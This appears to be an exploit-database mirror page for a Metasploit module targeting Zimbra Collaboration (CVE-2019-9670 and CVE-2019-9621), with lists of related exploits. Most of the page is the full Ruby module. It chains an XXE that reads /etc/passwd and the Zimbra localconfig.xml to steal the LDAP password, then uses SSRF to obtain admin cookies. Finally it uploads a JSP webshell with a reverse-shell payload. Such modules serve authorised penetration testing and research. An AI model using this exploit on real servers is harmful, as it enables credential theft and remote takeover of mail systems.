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"Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)"

Author

Metasploit

Platform

linux

Release date

2019-04-12

Release Date Title Type Platform Author
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-08 "CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting" webapps linux DKM
2019-04-08 "Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation" local linux cfreal
2019-03-29 "CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scripting" webapps linux DKM
2019-03-28 "gnutls 3.6.6 - 'verify_crt()' Use-After-Free" dos linux "Google Security Research"
2019-03-22 "snap - seccomp BBlacklist for TIOCSTI can be Circumvented" dos linux "Google Security Research"
2019-03-19 "libseccomp < 2.4.0 - Incorrect Compilation of Arithmetic Comparisons" dos linux "Google Security Research"
2019-03-11 "Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak" dos linux wally0813
2019-03-07 "Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)" remote linux Metasploit
2019-03-06 "Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem" dos linux "Google Security Research"
2019-03-04 "FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)" dos linux "Mr Winst0n"
2019-03-01 "Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module" dos linux "Google Security Research"
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-28 "WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service" dos linux "Dhiraj Mishra"
2019-02-22 "Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation" webapps linux SecureAuth
2019-02-20 "MatrixSSL < 4.0.2 - Stack Buffer Overflow Verifying x.509 Certificates" dos linux "Google Security Research"
2019-02-21 "Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)" dos linux "Alejandra Sánchez"
2019-02-13 "runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)" local linux embargo
2019-02-15 "Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference" dos linux "Google Security Research"
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-11 "CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting" webapps linux DKM
2019-02-13 "snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)" local linux "Chris Moberly"
2019-02-13 "snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)" local linux "Chris Moberly"
2019-02-12 "runc < 1.0-rc6 (Docker < 18.09.2) - Host Command Execution" local linux feexd
2019-02-11 "Evince - CBT File Command Injection (Metasploit)" local linux Metasploit
2018-10-20 "LibSSH 0.7.6 / 0.8.4 - Unauthorized Access" remote linux jas502n
2019-01-29 "MiniUPnPd 2.1 - Out-of-Bounds Read" dos linux b1ack0wl
2019-01-23 "Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation" webapps linux "Chris Lyne"
2019-01-24 "Ghostscript 9.26 - Pseudo-Operator Remote Code Execution" remote linux "Google Security Research"
Release Date Title Type Platform Author
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-15 "Cisco RV130W Routers - Management Interface Remote Command Execution (Metasploit)" remote hardware Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-12 "Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)" local windows Metasploit
2019-04-05 "WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)" remote php Metasploit
2019-04-03 "Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)" remote hardware Metasploit
2019-03-28 "Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)" remote multiple Metasploit
2019-03-28 "CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit)" remote php Metasploit
2019-03-19 "Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming RCE (Metasploit)" remote java Metasploit
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-13 "elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)" remote php Metasploit
2019-03-07 "Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)" remote php Metasploit
2019-03-07 "Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)" remote linux Metasploit
2019-03-07 "FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)" local freebsd_x86-64 Metasploit
2019-02-22 "Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)" remote windows Metasploit
2019-02-20 "Belkin Wemo UPnP - Remote Code Execution (Metasploit)" remote hardware Metasploit
2019-02-11 "NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit)" remote php Metasploit
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
2019-02-11 "Evince - CBT File Command Injection (Metasploit)" local linux Metasploit
2019-01-24 "AddressSanitizer (ASan) - SUID Executable Privilege Escalation (Metasploit)" local linux Metasploit
2019-01-16 "blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit)" local linux Metasploit
2019-01-02 "Hashicorp Consul - Remote Command Execution via Services API (Metasploit)" remote linux Metasploit
2019-01-02 "Hashicorp Consul - Remote Command Execution via Rexec (Metasploit)" remote linux Metasploit
2018-12-20 "Erlang - Port Mapper Daemon Cookie RCE (Metasploit)" remote multiple Metasploit
2018-12-14 "Safari - Proxy Object Type Confusion (Metasploit)" remote macos Metasploit
2018-12-13 "CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)" local windows Metasploit
2018-12-04 "HP Intelligent Management - Java Deserialization RCE (Metasploit)" remote windows Metasploit
2018-12-04 "Emacs - movemail Privilege Escalation (Metasploit)" local unix Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46693/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46693/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46693/41135/zimbra-collaboration-autodiscover-servlet-xxe-and-proxyservlet-ssrf-metasploit/download/", "exploit_id": "46693", "exploit_description": "\"Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)\"", "exploit_date": "2019-04-12", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                                            

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
      'Description'    => %q{
        This module exploits an XML external entity vulnerability and a
        server side request forgery to get unauthenticated code execution
        on Zimbra Collaboration Suite. The XML external entity vulnerability
        in the Autodiscover Servlet is used to read a Zimbra configuration
        file that contains an LDAP password for the 'zimbra' account. The
        zimbra credentials are then used to get a user authentication cookie
        with an AuthRequest message. Using the user cookie, a server side request
        forgery in the Proxy Servlet is used to proxy an AuthRequest with
        the 'zimbra' credentials to the admin port to retrieve an admin
        cookie. After gaining an admin cookie the Client Upload servlet is
        used to upload a JSP webshell that can be triggered from the web
        server to get command execution on the host. The issues reportedly
        affect Zimbra Collaboration Suite v8.5 to v8.7.11.

        This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
        UBUNTU16_64 FOSS edition.
      },
      'Author'         =>
        [
          'An Trinh',         # Discovery
          'Khanh Viet Pham',  # Discovery
          'Jacob Robles'      # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-9670'],
          ['CVE', '2019-9621'],
          ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
        ],
      'Platform'       => ['linux'],
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultOptions' => {
        'RPORT' => 8443,
        'SSL' => true,
        'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
      },
      'Stance'         => Stance::Aggressive,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2019-03-13' # Blog post date
    ))

    register_options [
      OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
      OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
    ]
  end

  def xxe_req(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/autodiscover'),
      'encode_params' => false,
      'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
    res
  end

  def soap_discover(check_soap=false)
    xml = REXML::Document.new

    xml.add_element('Autodiscover')
    xml.root.add_element('Request')

    req = xml.root.elements[1]

    req.add_element('EMailAddress')
    req.add_element('AcceptableResponseSchema')

    replace_text = 'REPLACE'
    req.elements['EMailAddress'].text = Faker::Internet.email
    req.elements['AcceptableResponseSchema'].text = replace_text

    doc = rand_text_alpha_lower(4..8)
    entity = rand_text_alpha_lower(4..8)
    local_file = '/etc/passwd'

    res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
    if check_soap
      local = "file://#{local_file}"
      res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
      res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
    else
      local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
      res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
      res << "%#{entity};]>"
      res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
    end
    res
  end

  def soap_auth(zimbra_user, zimbra_pass, admin=true)
    urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
    xml = REXML::Document.new

    xml.add_element(
      'soap:Envelope',
      {'xmlns:soap'  => 'http://www.w3.org/2003/05/soap-envelope'}
    )

    xml.root.add_element('soap:Body')
    body = xml.root.elements[1]
    body.add_element(
      'AuthRequest',
      {'xmlns' => urn}
    )

    zimbra_acc = body.elements[1]
    zimbra_acc.add_element(
      'account',
      {'by' => 'adminName'}
    )
    zimbra_acc.add_element('password')

    zimbra_acc.elements['account'].text  = zimbra_user
    zimbra_acc.elements['password'].text = zimbra_pass

    xml.to_s
  end

  def cookie_req(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/service/soap/'),
      'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
  end

  def proxy_req(data, auth_cookie)
    target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/service/proxy/'),
      'vars_get' => {'target' => target},
      'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
      'data' => data,
      'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
  end

  def upload_file(file_name, contents, cookie)
    data = Rex::MIME::Message.new
    data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
    data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
    data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
    post_data = data.to_s

    send_request_cgi({
      'method'          => 'POST',
      'uri'             => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
      'ctype'           => "multipart/form-data; boundary=#{data.bound}",
      'data'            => post_data,
      'cookie'          => cookie
    })
  end

  def check
    begin
      res = xxe_req(soap_discover(true))
    rescue Msf::Exploit::Failed
      return CheckCode::Unknown
    end

    if res.body.include?('zimbra')
      return CheckCode::Vulnerable
    end

    CheckCode::Unknown
  end

  def on_request_uri(cli, req)
    ent_file = rand_text_alpha_lower(4..8)
    ent_eval = rand_text_alpha_lower(4..8)

    dtd =  <<~HERE
    <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
    <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
    %#{ent_eval};
    HERE
    send_response(cli, dtd)
  end

  def primer
    datastore['SSL'] = @ssl
    res = xxe_req(soap_discover)
    fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
    password = $1
    username = 'zimbra'

    print_good("Password found: #{password}")

    data = soap_auth(username, password, false)
    res = cookie_req(data)

    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
    auth_cookie = $1

    print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")

    data = soap_auth(username, password)
    res = proxy_req(data, auth_cookie)

    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
    admin_cookie = $1

    print_good("Admin cookie retrieved: #{admin_cookie}")

    stager_name = "#{rand_text_alpha(8..16)}.jsp"
    print_status('Uploading jsp shell')
    res = upload_file(stager_name, payload.encoded, admin_cookie)

    fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
    # Only shell sessions are supported
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")

    print_status("Executing payload on /downloads/#{stager_name}")
    res = send_request_cgi({
      'uri'             => normalize_uri(target_uri, "/downloads/#{stager_name}"),
      'cookie'          => admin_cookie
    })
  end

  def exploit
    @ent_data = rand_text_alpha_lower(4..8)
    @ssl = datastore['SSL']
    datastore['SSL'] = false
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
  end
end